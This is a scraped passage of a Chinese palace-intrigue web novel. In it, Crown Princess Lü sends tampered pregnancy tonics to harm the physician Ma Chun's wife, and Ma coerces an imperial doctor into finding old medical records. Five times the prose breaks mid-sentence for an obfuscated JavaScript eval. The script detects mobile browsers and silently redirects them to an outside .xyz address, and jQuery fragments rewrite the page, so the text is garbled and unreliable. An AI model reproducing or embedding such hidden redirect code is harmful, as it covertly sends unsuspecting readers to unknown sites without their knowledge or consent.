这份救命之恩,对她而言,只有蚀骨的痛恨。
恩?
在这深宫之内,恩情是最无用的东西!
它只会成为一种枷锁,一种提醒。
提醒她那段狼狈不堪、尊严尽丧的时刻。
提醒她是如何在那医馆的地上,如一条濒死的狗般挣扎求饶。
这耻辱,深入骨髓!
远胜过那腿伤带来的痛苦!
更可怕的是后患。
马淳的眼睛太利,心思也太透。
他那一身诡谲莫测的医术,仿佛能看穿皮囊,直透人心。
吕氏闭上眼,脑海中不受控制地闪过马淳那双洞察秋毫的眼睛。
自己背地里做过的那些事……
那些绝不能让任何人知晓的阴私勾当……
那些经年累月深埋、连贴身侍女都未曾察觉的秘密……
能瞒过宫里的御医,能瞒过太子。
甚至……或许也曾瞒得过皇后。
但在这个能断人绝症、辨无形之毒、破世间污秽之惧的神医面前呢?
一个能察觉到**腐毒、洞察矿脉恶气、截指救命的人。一个连人心最深处的恐惧都能强行撕开直视的人。还有什么是能瞒过他的?
吕氏骤然睁开眼。
不行!
绝对不行!
马淳一日不除,自己便永无宁日!
只要他活着,并且凭着他那鬼斧神工的医术走近太子,走近这权力漩涡的中心,他早晚会看到不该看的!
会察觉到不该察觉的!
到那时……
等待自己和允炆的,将是万劫不复!
不仅仅是自己失宠失势。
允炆,自己唯一的指望,将永远失去那个位置!
而且,吕氏心头猛地一紧。
他是马皇后的亲弟弟!
是当之无愧的国舅!
尽管他远在江宁县做个村野大夫。
但血脉的天然亲近是无法斩断的。
若他某日受召入京,受太子倚重。
以太子仁厚的性子,势必会对这位能起死回生的小舅舅倍加亲近信赖。
那时候,谁还记得她这位不得宠的太子妃?
谁还会在意允炆?
那堵名为“名分”的墙,在这等天然的亲近前,将会脆弱得如同薄纸!
她的允炆,永远不可能靠近那真正触手可及的至高点。
只要马淳还活着,站在太子身边。
“母妃?”一声带着关切的稚嫩童音在殿门口响起。
是朱允炆。
他迈着小步走进来。
看到母亲沉思的模样,允炆脸上露出亲近的笑意。
他快步上前,“母妃好些了么?”
吕氏看到儿子,凌厉的光芒瞬间柔和下去。
伸手轻轻拂开儿子额前一缕乱发。
“母妃好多了。允炆今日课业可完成了?”声音温柔得判若两人。
“都完成了。先生今日还夸赞了我。”朱允炆小脸上带着一丝骄傲。
“我儿聪慧。”吕氏笑着点头。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969150|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朱允炆并未察觉母亲眼底深处潜藏的沉重。
他依偎在母亲身边,小手无意识地把玩着腰间系着的一块玉佩。
那是太子赏赐,由上好蓝田玉雕琢的祥云佩。
触手温润,似乎想到了什么高兴的事。
朱允炆的声音带着纯粹的欢喜,“前几日听父王身边的宫人说起,江宁那位神医马大夫,可是救了不少人的命,连皇祖母都赞誉有加呢!”
孩童的言语无心,只是单纯地将听来的话复述。
“还说……”朱允炆仰起脸,眼神亮晶晶,带着全然的信任和崇敬,“马大夫就像天上派下来的星君!能赶走所有病痛!父王也说了,以后若有疑难杂症,定要请这位神医来看一看!”
“嗡——”吕氏脑中仿佛有什么东西炸开!
心如坠冰窟!
连允炆都听到了!
太子已在谈论他!
已经在为将来的倚重铺垫!
恐惧如同毒蛇噬咬着她的心脏!
不行!
不能再等了!
必须立刻行动!
必须赶在他真正进入东宫视线之前!
将他彻底扼杀在江宁!
她脸上却维持着温婉的笑容。
甚至还带着一丝好奇。
“哦?你父王也如此推崇那位神医?”朱允炆用力点头。
“嗯!父王说,能有这等本事的,都是难得的国士!”
吕氏强忍着心头的惊涛骇浪。
轻轻抚摸着儿子的头顶,“既是难得的国士,那确实难得。”
她深吸一口气,目光转向一直垂首侍立、恨不得自己隐形的周太医周子良。
“周太医。”
“微臣在。”周子良心头猛颤,连忙躬身。
“说起来,本宫这腿伤,多亏了江宁传回的那几味珍药调理,才得以稳住。”吕氏的声音温和如初,“本宫有心。欲备一份厚礼,着人送往江宁,聊表谢意。你熟知药理,替本宫看看……”
“除了寻常的金银绫罗,是不是再添几味宫中特制的‘温养益气’的秘药?如此方显东宫体恤之情。”
周子良身体微不可察地一僵。
温养益气?宫中秘药?给谁?给那位远在江宁的马大夫?
他抬头看向吕氏。
那双眼睛里,没有一丝谢意,只有冰冷刺骨的杀机!
她轻轻开口,“周太医,此事就由你去办吧,务必稳妥。”
周子良的身体狠狠一颤,“微……臣……遵……命。”
……
第177章何其歹毒,吕氏送来的药材有问题
周子良站在门口阴影处,后背的里衣已经被冷汗浸透。
几名东宫内侍面无表情地立在阶下。
他们脚下,是几个装饰精美的礼盒。
“娘娘说,感念国舅爷妙手回春,娘娘特意备下一些滋补之品,皆是上好的贡品,特命我等送来,给夫人孕期固本培元之用,请周太医代为转交验看。”
周子良喉咙发干。
他一个字也说不出来。
这烫手的山芋,终究还是塞进了他手里。
暖阁内隐约传来压抑的咳嗽声。
周子良身体微不可察地一颤。
他只是太医院一个普通的御医,卷进皇家这等风浪,稍有不慎,就是粉身碎骨。
吕氏的“感谢”?
谁信!
他硬着头皮上前,“烦劳公公了。”
……
医馆内室。
徐妙云正缝着一件小小的虎头帽。
针线穿梭,温柔细致。
马淳坐在对面,低头翻阅一本厚重的医书。
敲门声打破了静谧。
很轻,带着犹豫。
“国公爷,夫人。”是周子良的声音。
“进来。”马淳放下书。
徐妙云也抬起眼。
门被小心翼翼地推开。
周子良抱着几个沉重的锦盒。
步伐迟疑地挪进来,脸比纸还白。
“周太医?”马淳眼神里掠过一丝讶异。“这是?”
“国公爷……”周子良把锦盒一一放在桌上,动作透着笨拙。
“东宫……刚差人送来的。”他不敢抬头。“太子妃娘娘说感念国公爷施救长孙殿下,特意寻了些上好的滋补品,送给夫人孕期安养。”
他说得磕磕绊绊。
额头渗出细密的冷汗。
医馆内空气骤然凝滞。
徐妙云手中的针线顿住,看向马淳。
马淳脸上的诧异迅速褪去。
他站起身,踱到桌边,扫过那几个华丽的锦盒。
太子妃送的?
滋补孕期的礼品?
送给刚刚害她瘫掉的人的妻子?
简直荒谬!
吕氏恨他入骨,这一点,马淳比任何人都清楚。
“有劳周太医了。”马淳声音听不出喜怒。“放下吧。”
周子良如蒙大赦。
放下盒子就想退,“下官……下官告退……”
“等等。”马淳抬手指了指其中一个最大的盒子,“打开看看。”
周子良手指微抖,硬着头皮上前,解开那盒子上的金丝盘扣。
盒盖掀开。
璀璨的光华瞬间夺目。
里面整齐码放的不是药,竟是一整套金银头面!
凤穿牡丹的发簪,珍珠镶嵌的步摇,宝石点缀的发箍,流光溢彩,价值连城。
底下铺着厚厚的丝绒垫子。
这是吕氏一贯的风格。
以赏赐为名,彰显东宫对臣子的“恩宠”,也是**。
“周太医,”马淳淡淡道。“你验过了?娘娘只说是滋补品?”
周子良猛点头。“送来前……院判大人只确认了清单。就是些……雪蛤膏、燕窝盏、老山参……还有……”
周子良指了指另一个略小的盒子。“据说有血燕窝,极品成色……”
马淳的视线越过那些珠宝,锁定了角落那个用黄绸包裹严实的小包。
那里隐隐有淡淡的、奇异的甜香传来。
“那是什么香料?”马淳直接问。
周子良茫然抬头。“香料?”
他顺着马淳的目光看去,那包东西他进来时没看到,估计是塞在首饰底下。
他连忙把那包黄绸包裹拿出来,小心打开。
里面是一些晒干的、褐红色的细长花瓣,气味甜得发腻,带着一丝不易察觉的腥气。
“这……”周子良凑近嗅了嗅,脸色微微一变。“似乎是……昆仑鲍……”
马淳瞳孔骤然收缩!
“昆仑鲍?”他声音陡然冷冽。
“国公爷……”周子良被他语气吓了一跳。“此物……此物也是大补,是西域贡品,极其罕见,说是滋阴助孕的圣品。”
“滋阴助孕?”马淳嘴冷哼。
他抓起一把昆仑鲍干花,凑到鼻尖,浓烈的甜香和那股似有若无的腥气交织,钻入鼻腔。
下一刻,他手掌翻转。
掌心几片碎屑飘落,他用力捻碎了其中几片花瓣,指腹沾上一点粉末,再次放到鼻下。
这次,他闭目凝神,细细分辨。那股淡淡的腥气似乎浓郁了一瞬,随后又隐入浓香之中。
马淳猛地睁开眼!
“好!”他低喝一声。
周子良吓得一哆嗦。
徐妙云也放下了针线,起身走近,看着丈夫手中的粉末,眼中充满忧虑。
“好大的手笔!”马淳的声音冷得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969151|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像结了冰,“血燕盏?极品雪蛤?老山参?还有这昆仑鲍……”
他抓起那包昆仑鲍。
举到周子良面前,“周太医!你行医多年,当真觉得,一个胎象稳固,才四个月身孕的妇人,需要这等烈火烹油之物?!尤其这昆仑鲍!”
“此物生于火山熔岩之侧。性最刚猛炽烈!入药极少!常人服用一点,便是浑身燥热,气血翻腾!”
马淳一字字扎进周子良心里,“更因其产地极险,采集时往往受熔岩地气蒸腾,内蕴极为霸道的‘火毒’,极易催动胎元!”
他放下昆仑鲍。
又猛地翻开那盒血燕窝的盖子。
抓出一把细密如丝的干燕窝。
手指捻动,举到眼前。
“再看这血燕!颜色鲜艳如血。气倒是清香……”马淳凑近深吸一口气“香气纯净?不对!”
他抓得更紧。
“气味被处理过,盖住了腥气!一股淡淡的……本该有又被刻意压下去的腥气!”
周子良脸色惨白。
他经手过这些药材,但……没这么验过,只当是极品。
马淳又打开那个装着参茸药材的盒子。
里面躺着几支粗如儿臂的老山参,根须完整,人参特有的土腥味扑面而来,旁边还有几块上等鹿茸。
“表面看,都是最顶级的货色。”马淳冷冷道。
他抽出一支人参,掐断一根细小须根,断口处流出极少量的乳白浆液。
“气味……也纯正。”他将断须递到鼻下,又尝了一丁点浆液。
“嗯?”一丝极淡的甜意在舌尖化开。
转瞬即逝,若不细品几乎忽略,接着是人参本身的苦涩。
但这苦味里……马淳的舌尖在口腔上颚细细划过,捕捉那残留的滋味,极其细微,一丝不易察觉的甜腻感附着在舌根。
仿佛被蜜糖泡过,又迅速被苦涩掩盖。
普通滋补药材不会有这种层次!
他眼神更沉。
又拿起一块鹿茸片,表面光滑润泽,他指尖用力一刮,刮下一些微黄的粉末,捻起一点放入口中抿开。
一股腥膻味。
但……太冲了!
冲得他喉头一紧。
而且……
马淳的眉头拧成了结,冲劲之后,居然有一丝极其微弱,细若游丝的酸味回上来?
很不正常!
……
第178章 从调查常氏之死开始整死吕氏
最后,他拿起一大块雪蛤膏。
色泽洁白如玉,他捏了一小块,没有立刻尝,反而凑到鼻尖,用力吸了一下。
浓郁的动物性油脂气息涌入鼻腔。
他闭上眼,细细分辨其中蕴含的物质气息。
似乎……正常?
气味虽浓,但还算纯正。
但马淳并未放松警惕。
他将那一小块雪蛤膏放入口中,仔细咀嚼,口感粘腻胶着。
突然!
一股尖锐的苦涩味如同细针,猛地刺破厚重的胶质层,从深处爆发出来,直冲咽喉。
这苦味尖锐、突兀。
完全不同于雪蛤本身温和的微苦!
是被某种东西引出来的!
“嗬!”马淳猛地将口中物吐出!
动作带着难掩的怒意。“好手段!”“真是……好手段!”
徐妙云和周子良的心都提到了嗓子眼。马淳脸上最后一丝平静荡然无存。只剩下风暴般的阴沉和寒意。
“这些药材……”马淳猛地抬眼。“全部都被秘法处理过!非但性烈如火!而且都添加了极其隐蔽的催产之物!”
“催产?!”周子良失声惊呼。
腿一软,差点瘫倒。
这要是给怀孕四个月的徐妙云用了。后果不堪设想!
吕氏是想……
周子良冷汗淋漓,不敢再想。
徐妙云下意识地捂住了自己的小腹。
原本温柔的脸庞瞬间雪白,眼中第一次燃起了实质的愤怒火焰!
“这昆仑鲍的火毒!这被压住又被引出的腥气!这反常的甜味和酸味!还有这雪蛤里猝不及防的苦涩!”马淳的手重重拍在桌上!
“无一例外!它们最终的效果!都是在强行催动!强行激发胎元!让腹中胎儿,疯!狂!生!长!”
医馆内一片死寂。
“孕前期安稳才是正理!现在才四个月!她这是想干什么?她想让我的孩子变得多大?五个月后?六个月后?到时胎儿过大……”
他没有再说下去。
那个词过于残忍,但意思再清楚不过!
难产!
巨大儿!
导致母体大出血死亡!
就像……当年的常太子妃!
历史惊人的巧合!
当年常太子妃生下朱允熥后不久便撒手人寰,宫闱之中,一直有传言,常氏难产,可能是生的孩子过大。
如今同样的招数,被吕氏用在了他的妻子身上!用在了他未出世的孩子身上!
不仅要徐妙云的命!还要他的孩子!可能一尸两命!
这已经不是算计,这是最歹毒的**!针对无辜妇孺的灭绝手段!
“歹毒!”徐妙云的声音响起。
她护着腹部的指节捏得发白,“其心可诛!”
周子良浑身发抖,已经说不出话,他只知道自己卷入了一场致命的漩涡,稍有不慎就会被碾得粉身碎骨。
马淳闭上眼睛,深深吸了一口气,胸腔剧烈起伏,压制着几乎要破体而出的杀意。
死寂。
医馆内室,药香散尽,唯余冰冷杀意。
周子良双腿抖如筛糠,汗珠一颗颗砸在地上。
催产……巨大儿……难产……大出血……一尸两命!
那一个个词,如冰锥扎进周子良的耳朵里。
太子妃吕氏送的哪里是谢礼,分明是索命的钩镰!
更要命的是,自己亲手把这些催命符捧到了徐国公夫人面前!
若真成了……
“国公爷!”周子良噗通一声跪倒在地,膝盖骨撞在地上发出闷响。“下官……下官全然不知啊!”
他的声音带着哭腔,是真的魂飞魄散。
“太医院只是按例查验……清单上并无异样……下官只当是上等补品……真的……真的不知内里被动了手脚啊!”
周子良磕头如捣蒜,额前迅速红了一大片。
卷入东宫妃嫔的阴私**,无论哪边都是万丈深渊,对他这种小太医而言,横竖都是个死!
马淳的目光从他身上移开,落在散落的昆仑鲍干花上。
“呵呵……”一声冰冷的笑声从马淳喉间溢出,打破了死寂。
周子良猛地一颤,惊恐抬头。
马淳居高临下看着他,眼神如刀。
“不知者不罪?”马淳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969152|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的声音字字如铁锤砸在周子良心上,“周太医,你在太医院当值多少年了?”
“十……十三年……”
“十三年。”马淳重复了一遍,“浸淫药性十几年,会看不出这些药被特殊炮制过?闻不出那刻意掩盖的腥气?尝不出那反常的甜?品不出最后那爆发的苦?”
他向前一步,阴影彻底笼罩了跪在地上的周子良。
“还是说,你不敢看出?”
“我……”周子良嘴唇哆嗦,想辩解,却一个字也吐不出。
马淳俯视着他,“这些东西,若我夫人不明就里服用了,必然步了当年常太子妃的后尘!你会是那个递刀的人!”
轰!
周子良脑子里一片空白,最后一点侥幸被彻底碾碎。
常氏!
先太子妃常氏!
那个名字像一道惊雷劈在他头顶!
“谋害国公夫人,谋害陛下钦封的仁心郡主,谋害大明未来的国公世子或郡主……”马淳的声音平静得可怕,却更显杀机凛然,“周太医,你该知道,这是诛九族的死罪吧?”
“诛……诛九族……”周子良彻底瘫软下去,浑身骨头都像被抽走了。
他趴在地上,涕泪横流:“国公爷饶命!徐国公饶命啊!下官真的……真的只是想办趟差事……绝无谋害夫人和小公爷之心啊!”
他磕头的动作已经变成了机械般的抽搐,恐惧已将他彻底淹没。
马淳冷冷地看着他如同烂泥般的姿态,心中那股滔**火仍在焚烧,但他更清楚,眼前的太医,不过是被推出来的棋子。
真正要命的,是藏在东宫深处的那条毒蛇。
他需要的是证据。
“饶你?”马淳的声音依然冰冷,“若只凭你这句‘不知情’,我姐会信你?常妃当**,宫里头难道就没一点风言风语?只不过被压下去了而已。”
马淳弯腰,凑近周子良因惊恐而扭曲的脸,“你信不信,只要我把这堆东西原样奉还给我姐马皇后,告诉她,她的弟媳和侄孙差点被这些东西毒死,而你周太医,就是送药来的信使……”
……
第179章 你去帮我查常氏所有的药案!
周子良猛地抬头,眼中全是绝望的恐惧。
马皇后!
那位辅佐陛下的后宫之主!
马淳的亲姐姐!
断了马家唯一的根苗……
这比刨了马家祖坟还狠!
他简直不敢想象马皇后的震怒会是如何的雷霆万钧。
撕碎?
恐怕都是最轻的!
九族被挫骨扬灰都不是没可能!
“不!国公爷!饶命!救救我!救救下官吧!”周子良一把死死抱住马淳的小腿,仿佛这是唯一的救命稻草,哭嚎声撕心裂肺。
徐妙云静静站在一旁,一手护着隆起的小腹,一手紧攥着那顶小虎头帽。
她的脸上残留着之前的雪白,眼神却冷静下来,看着丈夫,也看着地上那滩烂泥般的太医。
马淳任由周子良抱着,岿然不动。
“救你?”马淳的声音低沉下去,“也不是不行。你戴罪立功的机会,就摆在眼前。”
“我戴罪立功!我一定戴罪立功!国公爷您尽管吩咐!下官万死不辞!”周子良像是听到了生的希望,忙不迭地抬头,泪眼模糊地看着马淳。
马淳冷冷地吐出指令:“你是太医,常在宫中行走。太医院应该有所有给宫中贵人,尤其是给当年常太子妃看诊、开方、用药的记录案卷。”
周子良的心猛地一沉,一股寒意瞬间席卷全身。
调查常太子的药案?
这……这是要揭开当年那个禁忌疑案的盖子?!
他的脸瞬间变得比刚才还要惨白。
那件事……那件事是能碰的吗?
这好像牵扯到后方很多利益。
这也是为什么当年连皇帝陛下都要斟酌一下的原因,因为大明那时候还风雨飘摇。
而如今,国公爷这是要完全置吕氏于死地啊。
马淳将他瞬间的惊骇和抗拒尽收眼底。
“害怕了?”马淳循循善诱,“比起谋害本公夫人和子嗣的滔天大罪,比起马皇后的雷霆之怒,查一份旧案卷宗的风险,是不是突然觉得小多了?”
他微微用力,将腿从周子良手中抽出,缓缓站直身体。
“我要你,利用职务之便,无论你用什么办法,把常太子妃从怀孕到生产前后……所有的脉案、方剂、药材明细、包括那些所谓滋补品的记录,一个字不漏地给我找出来!”
“然后,把那些药案,带出来!”
马淳的语气斩钉截铁,不容置疑。
“只要你能办到,”马淳的声音放低,“我或许……能在我姐面前,帮你求求情,说你被蒙蔽,念你戴罪立功,保你一命。甚至……保你全家,还能保你职位不变。”
求情……保命……保全家人!
这几个字像针一样扎进周子良被恐惧裹挟的脑子里。
去查先太子妃的案卷,这简直是捅破天的举动!
他瘫坐在地,浑身的力量都被抽空了,胸口剧烈起伏,喉咙里发出嗬嗬的嘶哑声。
他的大脑在疯狂运转,权衡着眼前的绝路。
马淳……徐国公……皇后的亲弟弟……马家独苗的爹……他有足够的分量说这句话!
反观自己,现在就是吕氏用来灭口的替死鬼!
一旦事情败露,吕氏绝不会承认,只会把脏水全部泼在他这个送药的太医身上!
死无葬身之地!
是现在就被马淳和皇后撕碎?
还是赌一把,查旧案?
得罪可能已经过气的吕氏和未来难说的允炆派系?
哪个才是真正的十死无生?
哪个还留有一线生机?
仅仅几个呼吸的时间,对周子良而言却漫长得像一个世纪。
他猛地抬起头,眼里的恐惧没有消退,却多了一股破釜沉舟的决绝,甚至带着一丝疯狂。
“**!”他几乎是嘶吼出来,“国公爷!下官……下官一定想办法把东西弄出来!一定!只求国公爷和皇后娘娘开恩!保我……保我全家性命!”
他重重地把头磕在地上,这一磕,是彻底将自己绑上了马淳的战车,前方是刀山火海还是深渊迷雾,他已无从选择。
马淳冷冷地看着他,脸上没有丝毫动容。
“记住你说的话。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969153|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”马淳的声音没有任何温度,“尽快!”
他不再看地上的周子良,转身走向窗边,负手而立。
周子良如蒙大赦,手脚并用地爬起来,又惊又惧又有一丝劫后余生的庆幸,身体还在剧烈颤抖。
他用袖子胡乱擦了一把脸上狼狈的水渍。
“是……是是!下官这就去想办法!这就去!”他语无伦次地应着,几乎是连滚爬爬地退向门口,眼神惶恐地瞥了徐妙云一眼,又慌忙低头,大气也不敢出。
徐妙云始终护着肚子,眼神沉静如水,对周子良的狼狈离开没有任何反应。
她的心思,此刻全在丈夫身上。
直到周子良仓惶的身影消失在门外,只剩下马蹄声慌乱远去,马淳才缓缓转过身。
屋内只剩下他们夫妻二人。
徐妙云走到桌边。
“夫君,”她的声音异常平静,“常姐姐……当年难道……”
她的话没有问完,但意思不言而喻。
吕氏今天能如此歹毒地用同样的手段算计她,那么当年常氏的“难产”,是否也真的“意外”?
马淳走到她身边,轻轻揽住她的肩,动作轻柔却带着沉甸甸的力量感。
他低头看着妻子依然有些发白的脸颊,眼中是毫不掩饰的杀意和前所未有的郑重。
“此事非同小可。”马淳解释:“没有铁证,谁也扳不倒东宫太子妃。”
他抬手,用指腹擦去徐妙云眼角一丝未干的湿意,动作极尽温柔。
“查!必须查个水落石出!”马淳的目光再次扫过那些**。
“不是为了翻旧账,是为了现在。”他深吸一口气,声音斩钉截铁,“为了你,为了我们的孩子,更为了这世间不再有人遭此毒手!”
“在拿到周子良带出的东西之前,一个字都不可再提。”
他拿起那块被吐出的雪蛤膏,用布巾仔细包好,连同那些被检查出问题的药材单独放在一旁。
“这些东西,要留好。”马淳眼神冰冷,“都是证据。”
徐妙云点点头,握紧了丈夫的手……
第180章常氏的药案全被藏起来了!
东宫,吕氏的寝殿内弥漫着浓重的药味。
周子良垂手而立,额角渗出细密的汗珠。
他不敢看斜倚在软榻上的吕氏。
“礼物送过去了?他收下了?”吕氏的声音平淡,听不出喜怒。指尖缓缓划过腿上薄毯的织锦纹路。
“是,太子妃娘娘。”周子良喉咙发紧,尽量让声音平稳些,“徐国公虽推辞了一下,但感念娘娘厚意,最后……还是收下了。”
他停顿了一下,补充道:“微臣亲眼看着他亲自接过,道了谢。”
吕氏抬眼,目光像冰冷的探针。“哦?他……说了什么?”语气带着一丝不易察觉的试探。
“只说娘娘太费心。”周子良的汗流到了鬓角,“他说……夫人身子还好,谢娘娘挂怀。”
吕氏沉默了片刻。殿内只有炭火轻微的噼啪声。周子良的心跳声在耳膜上咚咚作响。
“知道了。”吕氏终于开口,视线移开,重新落回自己的腿上。“退下吧。”
没有赞赏,也没有责备,只有这轻飘飘的三个字,却让周子良后背瞬间湿透。
他几乎是用尽力气才控制住发软的腿,躬身告退。“微臣告退。”
直到走出宫门很远,冷风吹在汗湿的身上激得他一哆嗦。
危机暂时渡过,但更大的任务像巨石压在心口。
太医院的藏书阁。
高大的书架林立,弥漫着陈旧的纸墨和药材混合的气味。
周子良佯装整理近期的脉案,心跳依旧飞快,他小心翼翼地挪向存放历年重要病案的区域。
手指掠过一排排卷宗的脊背标记。
洪武七年,洪武八年……洪武十一年,太子妃常氏……
他找到了常氏的病案卷宗区。
然而,本该有厚厚一叠卷宗的位置,此刻却显得空空荡荡。
周子良心中咯噔一下。
他蹲下身,仔细地在周围几个位置搜寻。
没有。
手指沾满了灰尘,却摸不到任何一本属于洪武十一年常太子妃的医案记录。
这太不合常理了!
常氏才去世五年!太子妃的药案,关系重大,向来是太医院的重点存档,供所有太医参阅学习。
目的就是为了吸取经验,防止医疗事故。即使不齐全,也不可能完全消失!
周子良的心沉到了谷底。
他深吸一口气,强行稳住心神,必须弄清楚去向!
他快步找到值房的副院判李德元。
对方正在查看药房采买的单子。
“李副院判,”周子良尽量让自己的声音听起来自然,“下官近日研习妇人科产后调养,想查阅洪武十一年常太子妃娘娘的药案学习。怎的……寻不着了?”
李副院判头都没抬,顺手翻过一页账册。“哦?常太子妃的药案?”
他像是想起什么,语气随意。
“都在张阔海那边收着呢。”
李德元拿起茶杯抿了一口,“张阔海出事走得急,他那边收着的不少要紧旧案卷,都没来得及交接整理。乱七八糟的一大堆,堆在库里南角那个小隔间,灰尘积得老厚。”
他摇摇头。
“国公爷新上任不久,又不在太医院带着,百废待兴,千头万绪,暂时也没人手空去清点那些旧物。你想看,自己去找找?不过估计够呛能找到,灰大又乱得很。”
“原来如此……”周子良心中波澜起伏,面上却做出恍然的表情。“多谢副院判解惑。”
他心中暗骂,但至少知道了一个方向。
张阔海生前私藏起来的!就在那个堆旧物的库房隔间!
难题来了。
那地方人多眼杂,他一个人去翻找,目标太大。
万一被有心人看见他翻腾先太子妃的药案,传到吕氏耳中……
周子良打了个寒颤,他不敢赌。
小青村医馆。
空气中飘着熟悉的药材清香。马淳听完周子良压低声音、充满惶恐的回报,眉头紧紧锁起。
“张阔海私藏……库房隔间?”马淳的手指敲着桌面。
周子良紧张地点头:“千真万确!李副院判是这么说的。他说那地方积满灰尘,没人整理。”
“看来,”马淳的眼神深邃,“张景明叔侄冒功贪腐是真,但藏匿先太子妃药案这事,恐怕就没那么简单了。”
很可能背后牵扯更大,以至于张阔海需要把某些关键记录“保管”起来。
他新任院判,根基尚浅。
吕氏耳目众多,若此刻他公开追查常氏药案,无异于直接点燃**桶。
打草惊蛇还是轻的,恐怕瞬间就会引发吕氏疯狂的报复和销毁证据的行动。
更不能正式授权周子良去查。
一个太医突然去翻“敏感”旧档,本身就是巨大疑点。
“看来,得另想法子……”马淳沉吟。
需要一个身份足够特殊、行动足够隐秘,能避开东宫耳目的帮手。
这种人,太难找了。
周子良紧张得手心全是汗。
“国公爷,接下来怎么办?下官……下官实在不敢轻举妄动啊!”
就在这时。
“叩叩叩!”毫不客气的敲门声响起,直接打断了屋内的凝重。
一个高大的身影出现在门口。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971188|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>“马大夫,你这门神拜得太勤了吧?大白天的关这么严实?”蒋瓛揉着鼻子,自顾自地大步跨了进来,“嗯?周太医也在?”
他一眼就看到脸色惨白、神情极不自然的周子良。
眼神瞬间变得警惕。
“这是怎么了?”他的目光投向马淳,敏锐地察觉到气氛不对。
周子良见到蒋瓛,如同惊弓之鸟。
他慌忙站起身,语无伦次:“蒋……蒋指挥使!下官……下官这就告辞!国公爷,下官告退!”
他慌不迭地行礼,脚步踉跄地就要往外溜,仿佛蒋瓛是什么洪水猛兽。
“站住!”蒋瓛的声音像一道无形的绳索勒住了周子良的脚踝。
他刚迈开的脚硬生生顿在半空。
蒋瓛没看周子良,而是看向了马淳,“现在,告诉我,出什么事了?这小子见了我就跑?东宫那位……又作妖了?吕氏?她想干什么?”
马淳看着突然出现的蒋瓛,又看了看被钉在原地、面无人色的周子良。
心中原本紧绷的一根弦,微微松动了一下。
也许……解铃还须系铃人?
蒋瓛的身份和能力太特殊了。
皇帝的爪牙,**的头子,出入宫禁如履平地。
他若想查点什么隐秘,有的是常人难以企及的门路。
而且,以他们过命的交情,以及蒋瓛对马淳夫妻的维护,值得一试。
关键是,蒋瓛的行动,某种程度上能绕过太医院的限制!
马淳没有立刻回答。
他走到门口,先谨慎地向外张望了一下,确认无人偷听。
然后轻轻关上门,还上了闩。室内光线暗了一些。
蒋瓛看着他这套行云流水的动作,脸色更加凝重。
连带着周子良也绝望地闭上了眼,知道自己彻底脱不了干系了。
“蒋兄,”马淳转过身,“此事,事关人命,祸及妻儿,牵连甚广……”
他看了一眼周子良,“更牵扯深宫旧案,需你援手,你确定你要听?”
他必须把危险摆在前面。
“废话!”他朝周子良努努嘴,带着一丝不耐烦。“说!别婆婆妈妈的!这姓周的怕成这副鬼样子,肯定不是小事!”
周子良浑身一抖,瘫软地滑坐到旁边的圆凳上。
他知道,自己这条小命,现在就悬在马淳接下来要说的话,以及这位煞神接下来的反应上了。
暗无天日的锦衣卫诏狱仿佛就在眼前招手。
马淳深深吸了一口气。
再无保留的必要了,他缓缓开口,从吕氏送来的“滋补品”开始说起……
第181章锦衣卫指挥使亲自动手!!
蒋瓛静静听完,脸上毫无波澜。
“好一出催产夺命的连环计。”蒋瓛的声音平静,“歹毒。”
